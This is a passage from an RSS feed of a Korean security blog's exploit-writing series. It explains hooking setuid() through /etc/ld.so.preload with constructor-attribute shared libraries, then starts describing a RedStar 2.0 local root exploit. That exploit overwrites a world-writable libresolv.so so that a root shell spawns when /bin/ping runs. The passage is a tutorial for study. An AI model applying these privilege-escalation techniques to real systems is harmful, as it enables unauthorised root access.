/&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;GLIBC&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt; 내에 구현된 &lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;setuid()&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt; 함수를 라이브러리 직접 참조를 통해 불러오고 실행하기 위해 DL 라이브러리를 사용합니다. 또한 이를 위해 &lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;setuid()&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt; 함수의 원형을 함수포인터 형태로 정의합니다. &lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;setuid()&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;가 실행되면 &lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;readlink()&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;를 통해 현재 해당 함수를 실행하도록 한 프로그램의 경로를 받아오고 이를 디버그 메시지를 통해 사용자에게 전달합니다. 이 후 &lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;dlopen()&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;과 &lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;dlsym()&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;을 통해 &lt;/span&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;GLIBC&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;에 구현된 &lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;setuid()&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt; 함수를 실행할 수 있도록 구현되어 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;위 소스코드를 컴파일 후 /bin/su를 타겟 대상으로 삼고 테스트를 진행하였습니다. 패스워드 인증을 통해 사용자 권한을 변경할 수 있도록 한&amp;nbsp;/bin/su는 &lt;i&gt;setuid()&lt;/i&gt;를 사용할 것이며, 프로그램 실행 초기에&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;&lt;b&gt;&lt;i&gt;/etc/ld.so.preload&lt;/i&gt;&lt;/b&gt;가 존재한다면 파일 안에 정의된 경로의 라이브러리를 선적재 할 것입니다.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;내부적으로 &lt;i&gt;setuid()&lt;/i&gt; 수행 시 선적재 된 라이브러리의 영향을 받는다면 디버그 메시지를 통해 &lt;i&gt;wrapped function&lt;/i&gt;이 실행되는 것을 확인 할 수 있을 것 입니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 675px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/998C45395A75C65335&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F998C45395A75C65335&quot; width=&quot;675&quot; height=&quot;472&quot; filename=&quot;3.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center; font-size: 12px; color: rgb(45, 44, 45); font-family: Verdana;&quot;&gt;[그림 3]&amp;nbsp;ld.so.preload를 이용하여 setuid() 함수 hooking 가능 확인&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;위 화면에서 우리는 중요한 포인트 하나를 알 수 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;u&gt;&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;u&gt;&lt;b&gt;&lt;i&gt;/etc/ld.so.preload&lt;/i&gt;&lt;/b&gt;는 상위 권한의 setuid bit가 설정된 프로그램에도 정상 동작을 보장&lt;/u&gt;하나, 같은 목적을 가진 &lt;b&gt;&lt;i&gt;LD_PRELOAD&lt;/i&gt;&lt;/b&gt; 환경변수를 통한 라이브러리 선적재의 경우&amp;nbsp;상위 권한의 setuid bit가 설정된 프로그램과 같이 실행되면 정상 실행이 되지 않습니다. 이는 사용자 &lt;b&gt;누구나가 변경이 가능한 환경변수의 경우 기본적으로 신뢰할 수 없는 값으로 판단하여 처리하도록 설계 한 보안의 가장 기본적인 1원칙&lt;/b&gt;이 그&amp;nbsp;이유가 아닐까요?&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 568px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99EEC0435A75D16F23&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99EEC0435A75D16F23&quot; width=&quot;568&quot; height=&quot;184&quot; filename=&quot;4.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center; font-size: 12px; color: rgb(45, 44, 45); font-family: Verdana;&quot;&gt;[그림 4]&amp;nbsp;setuid bit가 설정된 파일 실행 시 무시되는&amp;nbsp;LD_PRELOAD 환경변수&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center; font-size: 12px; color: rgb(45, 44, 45); font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;지금까지 &lt;b&gt;&lt;i&gt;Shared Library &lt;/i&gt;&lt;/b&gt;특성에 대해서 알아보았는데요. 이에 더불어 기존에 알아보았던 &lt;b&gt;&lt;i&gt;Constructor&lt;/i&gt;&lt;/b&gt;의 개념도 선적재 라이브러리와 함께 활용될수는 없을까요? 이를 알아보기 위해 한 가지 더 테스트를 해 보기로 했습니다.&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;/*&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;* libmypriv.so.c&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;*&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;* Coded by TeamCR@K&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;*&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;* http://teamcrak.tistory.com&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;*&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;* - A example code for constructor of shared library&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;*/&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;#include &amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;#include &amp;lt;dlfcn.h&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;int __attribute__((constructor)) init(void)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;{&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fprintf(stdout, &quot;[DEBUG] UID: %d / GID: %d / EUID: %d / EGID: %d\n&quot;,&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; getuid(), getgid(), geteuid(), getegid());&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return 0;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;}&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Constructor &lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;역할을 하기 위한 함수를 구현했는데, 이는 사용자의 &lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;User-&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;ID&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;/&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Group-ID&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt; 및 &lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Effective-&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;User-ID/Effective-&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Group-&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;ID&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;를 출력하고 리턴하는 함수입니다. 일반적으로 프로그램 실행 시 권한 관리를 위해 &lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;User-ID &lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;권한과 &lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Effective-User-ID &lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;권한을 따로 분리하는데, 해당 개념을 이해하고 있으면 향후 setuid bit가 설정된 프로그램 분석에 많은 도움을 줍니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;위 코드를 공유 라이브러리 형태로 컴파일 하고 선적재 하도록 한 후 setuid bit가 설정된 프로그램을 실행하면 어떻게 될까요?&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 671px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997028355A76A5A72A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997028355A76A5A72A&quot; width=&quot;671&quot; height=&quot;489&quot; filename=&quot;5.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center; font-size: 12px; color: rgb(45, 44, 45); font-family: Verdana;&quot;&gt;[그림 5]&amp;nbsp;setuid bit가 설정된 파일 실행 시에도 유효한 Pre-loaded Library 및 Constructor 속성&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;/bin/su 실행 시 &lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;libmypriv.so &lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;가 선적재되고, &lt;/span&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Constructor&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt; 속성으로 인해 패스워드를 입력 받기 전&amp;nbsp;&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;init()&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt; 함수가 호출되어 해당 함수가 실행되는 것을 볼 수 있습니다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 675px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99835A345A7839092B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99835A345A7839092B&quot; width=&quot;675&quot; height=&quot;472&quot; filename=&quot;6.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;font-size: 12px; color: rgb(45, 44, 45); font-family: Verdana;&quot;&gt;[그림 6]&amp;nbsp;System Call Tracer로 확인한 Pre-loaded Library와 Library의 Constructor 속성의 정상 동작&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&lt;b style=&quot;font-size: 12px; color: rgb(45, 44, 45); font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;i&gt;S&lt;span style=&quot;font-family: Verdana;&quot;&gt;ystem Call Tracer&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;를 통해 확인한 경우 &lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;ptrace()&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;의 영향으로 인해 파일의 setuid bit가 무시되어&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt; getuid()&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt; 계열의 함수 반환 값이 일반 사용자 User-ID로 표현되어 있지만, &lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;선적재 &lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;된 라이브러리의 함수인&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt; init() &lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;함수&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;가&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b style=&quot;font-family: Verdana;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Constructor&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;속성에 의해&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;프로그램 시작 초기에 실행된다는 것을 알 수 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;지금까지 Linux 환경에서 가능한 &lt;b&gt;&lt;i&gt;Constructor&lt;/i&gt;&lt;/b&gt; 와 &lt;b&gt;&lt;i&gt;Pre-loaded Libraries&lt;/i&gt;&lt;/b&gt;에 대해 알아보았는데요. 실제 이것이 어떻게 &lt;b&gt;&lt;i&gt;Exploit Techniques&lt;/i&gt;&lt;/b&gt;와 연결될 수 있는지 그 실 예를 다음 편에서 알아보도록 하겠습니다.&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;/div&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;/p&gt;</description>
      <category>기획 연재</category>
      <category>Constructor</category>
      <category>elf</category>
      <category>glibc</category>
      <category>HOOKING</category>
      <category>indra</category>
      <category>ld.so.preload</category>
      <category>LD_PRELOAD</category>
      <category>preload</category>
      <category>preloaded library</category>
      <category>rtld</category>
      <category>shared library</category>
      <category>wrapped function</category>
      <category>선적재 라이브러리</category>
      <author>알 수 없는 사용자</author>
      <guid isPermaLink="true">https://teamcrak.tistory.com/399</guid>
      <comments>https://teamcrak.tistory.com/399#entry399comment</comments>
      <pubDate>Wed, 24 Jan 2018 20:42:33 +0900</pubDate>
    </item>
    <item>
      <title>Exploit Writing Technique #4: Applied Exploits</title>
      <link>https://teamcrak.tistory.com/398</link>
      <description>&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;a href=&quot;http://teamcrak.tistory.com/401&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Exploit Writing Technique #1: Constructor, What's that?&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;a href=&quot;http://teamcrak.tistory.com/400&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Exploit Writing Technique #2: Basics of Shared Library&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;a href=&quot;http://teamcrak.tistory.com/399&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Exploit Writing Technique #3: Preloaded Shared Libraries&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Exploit Writing Technique #4: Applied Exploits&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: right;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;정대근 보안기술팀장 (A.K.A 1ndr4)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: right;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;indra@a3security.com&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;우리는 지금까지 중요한 포인트 2개를 살펴보았습니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;● GCC syntax를 사용한 &lt;b&gt;&lt;i&gt;Constructor&lt;/i&gt;&lt;/b&gt;의 구현&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;● 선적재 라이브러리&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;위 과정에서 공유라이브러리의 &lt;b&gt;&lt;i&gt;Constructor&lt;/i&gt;&lt;/b&gt;의 구현 역시 가능하다는 것을 알 수 있었습니다. 지금까지 알아본 내용을 토대로 실제 &lt;i&gt;exploit&lt;/i&gt;이 어떻게 구현이 가능한지 실 예를 통해 말씀 드려볼까 합니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 12pt;&quot;&gt;&lt;b&gt;(1) N.Korea RedStar 2.0 Incorrect permission local root exploit&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;지난 2012년 저희 &lt;b&gt;&lt;i&gt;TeamCR@K&lt;/i&gt;&lt;/b&gt;이 블로그에 포스팅 했던 글 중&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://teamcrak.tistory.com/359&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;u&gt;북한 리눅스 '붉은별' 권한 상승 취약점&lt;/u&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;을 살펴보고자 합니다. 글을 포스팅 했던 당시 내부 지침에 의해 &lt;i&gt;exploit&lt;/i&gt;의 전체 내용을 공유드리지는 못했지만, 시일이 많이 흐른 관계로 해당 내용을 조금 더 자세하게 공유하도록 하겠습니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;a href=&quot;https://github.com/TeamCRAK/Exploits/tree/master/RedStar%202.0&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;https://github.com/TeamCRAK/Exploits/tree/master/RedStar%202.0&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;i&gt;exploit&lt;/i&gt;은 C 버전과 Perl 버전이 존재하며, exploit 환경은 Comment 영역에 기록해 두었습니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;붉은별 리눅스는 배포과정에서 공유라이브러리의 파일 퍼미션이 777(-rwxrwxrwx) 형태로 존재하여 기타 사용자가 해당 공유 라이브러리의 내용을 Overwrite 할 수 있는 환경이었습니다. 따라서 root 권한의 setuid bit가 설정되어 있는 대표적인 유틸리티 중 하나인&amp;nbsp;/bin/ping을 대상으로 참조되는 라이브러리를 파악했고, 네트워크 관련 라이브러리인 libresolv.so의 내용을 Overwrite하는 것으로 설정하였습니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;i&gt;exploit&lt;/i&gt;의 Perl 버전은 미리 컴파일 된 공유라이브러리와 쉘을 실행시키는 코드를 bzip2 압축형태로 사용했고, C 버전은 근본이 되는 C코드를 넣어 직접 컴파일 하도록 구현했었습니다. 이 때 공격에 사용될 라이브러리로 만든 코드에 &lt;b&gt;&lt;i&gt;Constructor&lt;/i&gt;&lt;/b&gt; 속성을 가지도록 하여 root 권한의 setuid bit가 설정된 프로그램 실행 시, root 권한의 쉘을 먼저 실행하도록 구성했습니다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 715px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99AA29455A77D29708&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99AA29455A77D29708&quot; width=&quot;715&quot; height=&quot;283&quot; filename=&quot;1.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center; color: rgb(45, 44, 45); font-family: Verdana; font-size: 12px;&quot;&gt;[그림 1] C버전 exploit 중 Constructor 속성을 가진 라이브러리 함수 사용 루틴&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;i&gt;exploit&lt;/i&gt;을 통해 조작된 libresolv.so 라이브러리가 로드 될 때, 